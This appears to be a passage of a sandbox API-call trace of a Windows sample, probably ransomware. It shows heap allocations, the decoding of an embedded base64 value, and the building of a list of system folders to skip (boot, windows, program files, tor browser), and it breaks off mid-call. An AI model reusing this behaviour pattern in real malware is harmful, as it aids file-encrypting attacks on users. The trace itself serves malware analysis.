0x20aeb08 [0054.614] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aeb28 [0054.614] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aeb48 [0054.614] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aeb68 [0054.614] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aeb88 [0054.614] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aeba8 [0054.614] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aebc8 [0054.614] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aebe8 [0054.614] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aec08 [0054.614] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aec28 [0054.614] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aec48 [0054.614] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aec68 [0054.614] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aec88 [0054.614] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aeca8 [0054.614] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aecc8 [0054.614] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aece8 [0054.614] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aed08 [0054.614] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aed28 [0054.614] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aed48 [0054.614] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aed68 [0054.614] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aed88 [0054.614] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aeda8 [0054.614] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aedc8 [0054.614] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aede8 [0054.615] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aee08 [0054.615] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aee28 [0054.615] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aee48 [0054.615] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aee68 [0054.615] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aee88 [0054.615] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xf6) returned 0x203fe98 [0054.615] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x2d) returned 0x203ff98 [0054.615] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x2) returned 0x2040000 [0054.615] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x2) returned 0x2040010 [0054.615] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x30) returned 0x20afe10 [0054.615] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x48) returned 0x20afe48 [0054.615] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xd) returned 0x203fab0 [0054.615] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x6) returned 0x2040020 [0054.615] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x14) returned 0x20aeea8 [0054.615] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xe) returned 0x203fac8 [0054.615] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x9) returned 0x203fae0 [0054.615] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xd) returned 0x203faf8 [0054.615] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xd) returned 0x203fb10 [0054.615] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xc) returned 0x203fb28 [0054.615] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x5) returned 0x2040030 [0054.615] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x1a) returned 0x20afe98 [0054.615] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x9) returned 0x203fb40 [0054.615] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x7) returned 0x2040040 [0054.615] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x11) returned 0x20aeec8 [0054.615] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040050 [0054.615] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xc) returned 0x203fb58 [0054.615] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xc) returned 0x203fb70 [0054.615] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040060 [0054.615] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040070 [0054.615] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x2c) returned 0x20afec0 [0054.616] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xd) returned 0x203fb88 [0054.616] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x9) returned 0x203fba0 [0054.616] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xb) returned 0x203fbb8 [0054.616] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xc) returned 0x203fbd0 [0054.616] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xd) returned 0x203fbe8 [0054.616] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x6) returned 0x2040080 [0054.616] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xf) returned 0x203fc00 [0054.616] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xa) returned 0x203fc18 [0054.616] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xd) returned 0x203fc30 [0054.616] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xb) returned 0x203fc48 [0054.616] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xc) returned 0x203fc60 [0054.616] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xc4) returned 0x20afef8 [0054.616] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xa) returned 0x203fc78 [0054.616] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x2040090 [0054.616] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x20400a0 [0054.616] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x20400b0 [0054.616] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x20400c0 [0054.616] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x20400d0 [0054.616] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x20400e0 [0054.616] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x20400f0 [0054.616] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x6) returned 0x2040100 [0054.616] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x2040110 [0054.616] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x2040120 [0054.616] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040130 [0054.616] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x9) returned 0x203fc90 [0054.616] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x2040140 [0054.616] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x2040150 [0054.616] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x2040160 [0054.616] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x2040170 [0054.616] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040180 [0054.616] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x2040190 [0054.616] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x5) returned 0x20401a0 [0054.617] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x20401b0 [0054.617] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x20401c0 [0054.617] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x20401d0 [0054.617] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x20401e0 [0054.617] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xe) returned 0x203fca8 [0054.617] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x20401f0 [0054.617] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x2040200 [0054.617] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x2040210 [0054.617] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x2040220 [0054.617] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x2040230 [0054.617] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x2040240 [0054.617] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x2040250 [0054.617] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x2040260 [0054.617] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x2040270 [0054.617] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x2040280 [0054.617] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x2040290 [0054.617] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x20402a0 [0054.617] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x20402b0 [0054.617] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x20402c0 [0054.617] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x20402d0 [0054.617] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x20402e0 [0054.617] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x20402f0 [0054.617] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x2040300 [0054.617] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x5) returned 0x2040310 [0054.617] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x2040320 [0054.617] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x2040330 [0054.617] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040340 [0054.617] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x2040350 [0054.617] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x2040360 [0054.617] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x2040370 [0054.617] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x7) returned 0x2040380 [0054.617] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x2040390 [0054.617] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xa) returned 0x203fcc0 [0054.618] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4f51) returned 0x2045e10 [0054.618] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x6d1) returned 0x1fb0590 [0054.618] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x11) returned 0x20aeee8 [0054.618] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x21) returned 0x20ae7d0 [0054.618] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x203ff98, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 45 [0054.618] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x5a) returned 0x20ae800 [0054.618] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x203ff98, cbMultiByte=-1, lpWideCharStr=0x20ae800, cchWideChar=45 | out: lpWideCharStr="nAjfiPcoIyeIwwCkM1hLhXo5HUQMtrAB+7m8eHzerho=") returned 45 [0054.619] CryptStringToBinaryW (in: pszString="nAjfiPcoIyeIwwCkM1hLhXo5HUQMtrAB+7m8eHzerho=", cchString=0x0, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x18fd2c, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x18fd2c, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0054.619] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x20) returned 0x20ae868 [0054.620] CryptStringToBinaryW (in: pszString="nAjfiPcoIyeIwwCkM1hLhXo5HUQMtrAB+7m8eHzerho=", cchString=0x0, dwFlags=0x1, pbBinary=0x20ae868, pcbBinary=0x18fd2c, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x20ae868, pcbBinary=0x18fd2c, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0054.620] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20ae800) returned 1 [0054.620] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20ae868) returned 1 [0054.620] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040000, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0054.620] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x20403a0 [0054.620] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040000, cbMultiByte=-1, lpWideCharStr=0x20403a0, cchWideChar=2 | out: lpWideCharStr="7") returned 2 [0054.620] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040010, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0054.620] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x20403b0 [0054.620] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040010, cbMultiByte=-1, lpWideCharStr=0x20403b0, cchWideChar=2 | out: lpWideCharStr="3") returned 2 [0054.620] HeapCreate (flOptions=0x0, dwInitialSize=0x100000, dwMaximumSize=0x0) returned 0x29c0000 [0054.623] RtlAllocateHeap (HeapHandle=0x29c0000, Flags=0x8, Size=0xd4) returned 0x2abe7d0 [0054.623] RtlAllocateHeap (HeapHandle=0x29c0000, Flags=0x8, Size=0xc) returned 0x2abe8b0 [0054.623] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xd) returned 0x203fcd8 [0054.623] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x203fab0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13 [0054.623] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x1a) returned 0x20ae800 [0054.623] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x203fab0, cbMultiByte=-1, lpWideCharStr=0x20ae800, cchWideChar=13 | out: lpWideCharStr="$windows.~bt") returned 13 [0054.623] RtlAllocateHeap (HeapHandle=0x29c0000, Flags=0x8, Size=0xc) returned 0x2abe8c8 [0054.623] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x6) returned 0x20403c0 [0054.623] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040020, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0054.623] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xc) returned 0x203fcf0 [0054.623] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040020, cbMultiByte=-1, lpWideCharStr=0x203fcf0, cchWideChar=6 | out: lpWideCharStr="intel") returned 6 [0054.623] RtlAllocateHeap (HeapHandle=0x29c0000, Flags=0x8, Size=0xc) returned 0x2abe8e0 [0054.623] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x14) returned 0x20aef08 [0054.623] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x20aeea8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 20 [0054.623] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x28) returned 0x20ae828 [0054.623] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x20aeea8, cbMultiByte=-1, lpWideCharStr=0x20ae828, cchWideChar=20 | out: lpWideCharStr="program files (x86)") returned 20 [0054.623] RtlAllocateHeap (HeapHandle=0x29c0000, Flags=0x8, Size=0xc) returned 0x2abe8f8 [0054.623] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xe) returned 0x203fd08 [0054.623] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x203fac8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0054.624] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x1c) returned 0x20ae858 [0054.624] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x203fac8, cbMultiByte=-1, lpWideCharStr=0x20ae858, cchWideChar=14 | out: lpWideCharStr="program files") returned 14 [0054.624] RtlAllocateHeap (HeapHandle=0x29c0000, Flags=0x8, Size=0xc) returned 0x2abe910 [0054.624] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x9) returned 0x203fd20 [0054.624] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x203fae0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0054.624] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x12) returned 0x20aef28 [0054.624] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x203fae0, cbMultiByte=-1, lpWideCharStr=0x20aef28, cchWideChar=9 | out: lpWideCharStr="msocache") returned 9 [0054.624] RtlAllocateHeap (HeapHandle=0x29c0000, Flags=0x8, Size=0xc) returned 0x2abe928 [0054.624] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xd) returned 0x203fd38 [0054.624] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x203faf8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13 [0054.624] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x1a) returned 0x20ae880 [0054.624] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x203faf8, cbMultiByte=-1, lpWideCharStr=0x20ae880, cchWideChar=13 | out: lpWideCharStr="$recycle.bin") returned 13 [0054.624] RtlAllocateHeap (HeapHandle=0x29c0000, Flags=0x8, Size=0xc) returned 0x2abe940 [0054.624] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xd) returned 0x203fd50 [0054.624] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x203fb10, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13 [0054.624] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x1a) returned 0x20ae8a8 [0054.624] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x203fb10, cbMultiByte=-1, lpWideCharStr=0x20ae8a8, cchWideChar=13 | out: lpWideCharStr="$windows.~ws") returned 13 [0054.624] RtlAllocateHeap (HeapHandle=0x29c0000, Flags=0x8, Size=0xc) returned 0x2abe958 [0054.624] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xc) returned 0x203fd68 [0054.624] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x203fb28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0054.624] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aef48 [0054.624] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x203fb28, cbMultiByte=-1, lpWideCharStr=0x20aef48, cchWideChar=12 | out: lpWideCharStr="tor browser") returned 12 [0054.624] RtlAllocateHeap (HeapHandle=0x29c0000, Flags=0x8, Size=0xc) returned 0x2abe970 [0054.624] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x5) returned 0x20403d0 [0054.624] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040030, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0054.624] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xa) returned 0x203fd80 [0054.624] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040030, cbMultiByte=-1, lpWideCharStr=0x203fd80, cchWideChar=5 | out: lpWideCharStr="boot") returned 5 [0054.624] RtlAllocateHeap (HeapHandle=0x29c0000, Flags=0x8, Size=0xc) returned 0x2abe988 [0054.624] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x1a) returned 0x20ae8d0 [0054.624] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x20afe98, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 26 [0054.624] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x34) returned 0x20ae8f8 [0054.624] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x20afe98, cbMultiByte=-1, lpWideCharStr=0x20ae8f8, cchWideChar=26 | out: lpWideCharStr="system volume information") returned 26 [0054.625] RtlAllocateHeap (HeapHandle=0x29c0000, Flags=0x8, Size=0xc) returned 0x2abe9a0 [0054.625] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x9) returned 0x203fd98 [0054.625] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x203fb40, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0054.625] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x12) returned 0x20aef68 [0054.625] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x203fb40, cbMultiByte=-1, lpWideCharStr=0x20aef68, cchWideChar=9 | out: lpWideCharStr="perflogs") returned 9 [0054.625] RtlAllocateHeap (HeapHandle=0x29c0000, Flags=0x8, Size=0xc) returned 0x2abe9b8 [0054.625] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x7) returned 0x2034020 [0054.625] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040040, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0054.625] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xe) returned 0x203fdb0 [0054.625] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040040, cbMultiByte=-1, lpWideCharStr=0x203fdb0, cchWideChar=7 | out: lpWideCharStr="google") returned 7 [0054.625] RtlAllocateHeap (HeapHandle=0x29c0000, Flags=0x8, Size=0xc) returned 0x2abe9d0 [0054.625] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x11) returned 0x20aef88 [0054.625] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x20aeec8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 17 [0054.625] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x22) returned 0x20ae938 [0054.625] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x20aeec8, cbMultiByte=-1, lpWideCharStr=0x20ae938, cchWideChar=17 | out: lpWideCharStr="application data") returned 17 [0054.625] RtlAllocateHeap (HeapHandle=0x29c0000, Flags=0x8, Size=0xc) returned 0x2abe9e8 [0054.625] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2034030 [0054.625] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040050, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0054.625] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x10) returned 0x203fdc8 [0054.625] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040050, cbMultiByte=-1, lpWideCharStr=0x203fdc8, cchWideChar=8 | out: lpWideCharStr="windows") returned 8 [0054.625] RtlAllocateHeap (HeapHandle=0x29c0000, Flags=0x8, Size=0xc) returned 0x2abea00 [0054.625] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xc) returned 0x203fde0 [0054.625] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x203fb58, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0054.625] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aefa8 [0054.625] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x203fb58, cbMultiByte=-1, lpWideCharStr=0x20aefa8, cchWideChar=12 | out: lpWideCharStr="programdata") returned 12 [0054.625] RtlAllocateHeap (HeapHandle=0x29c0000, Flags=0x8, Size=0xc) returned 0x2abea18 [0054.625] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xc) returned 0x203fdf8 [0054.625] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x203fb70, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0054.625] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aefc8 [0054.625] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x203fb70, cbMultiByte=-1, lpWideCharStr=0x20aefc8, cchWideChar=12 | out: lpWideCharStr="windows.old") returned 12 [0054.625] RtlAllocateHeap (HeapHandle=0x29c0000, Flags=0x8, Size=0xc) returned 0x2abea30 [0054.625] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2034040 [0054.626] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040060, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: 